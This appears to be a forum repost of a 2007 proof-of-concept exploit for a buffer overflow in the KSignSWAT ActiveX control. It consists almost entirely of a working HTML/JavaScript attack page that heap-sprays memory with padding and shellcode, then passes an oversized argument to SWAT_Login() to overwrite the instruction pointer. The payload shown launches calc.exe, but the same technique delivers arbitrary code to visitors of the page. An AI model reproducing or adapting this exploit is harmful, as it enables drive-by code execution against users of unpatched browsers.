KSign KSignSWAT <= 2.0.3.3 ActiveX Control Remote BoF Exploit
[code]<!--///////////////////////////////////////////////////////////////////
// KSignSWAT SWAT_Login() PoC Code. //
// //
// URL : [url]www.ksign.com[/url] //
// Author : KIM Kee-hong ([email]l1nefeed@gmail.com[/email]) //
// Date : 2007/05/13 //
// Notice : Tested on WinXP SP2 KOREAN (all patched) with IE 6 //
///////////////////////////////////////////////////////////////////
-->
<html>
<head>
<title> [url]www.ksign.com[/url] - KSignSWAT SWAT_Login() PoC code </title>
</head>
<body>
<object ID="vuln" CLASSID="clsid:F326007F-DD23-4724-BAFC-B1C97FC18794">
</object>
<script language=javascript>
function GetHeapPad(HeapJam, SizeofHeapPad)
{
while(HeapJam.length*2 < SizeofHeapPad)
{
HeapJam +=HeapJam;
}
HeapJam = HeapJam.substring(0, SizeofHeapPad/2);
return HeapJam;
}
// buffer 671 bytes write, then EIP overwrite.
var O5pad=unescape(
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05" +
"%05%05%05%05%05%05%05%05%05%05%05");
var HeapJamAddr = 0x05050505;
var SizeofHeap = 0x200000;
// calc.exe code.
var calcCode = unescape(
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F" +
"%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA" +
"%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F" +
"%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78" +
"%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C" +
"%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A%uFF57" +
"%u63E7%u6C61%u0063");
var SizeofCalc = calcCode.length * 2;
var SizeofHeapPad = SizeofHeap - (SizeofCalc+0x38);
var HeapJam = unescape("%u0505%u0505")
HeapJam = GetHeapPad(HeapJam, SizeofHeapPad);
HeapBread = (HeapJamAddr - 0x400000)/SizeofHeap;
mem = new Array();
for(i = 0; i<HeapBread; i++)
{
mem[i] = HeapJam + calcCode;
}
try
{
document.all.vuln.SWAT_Login(O5pad);
}catch(e){}
</script>
</body>
</html>
[/code]
页:
[1]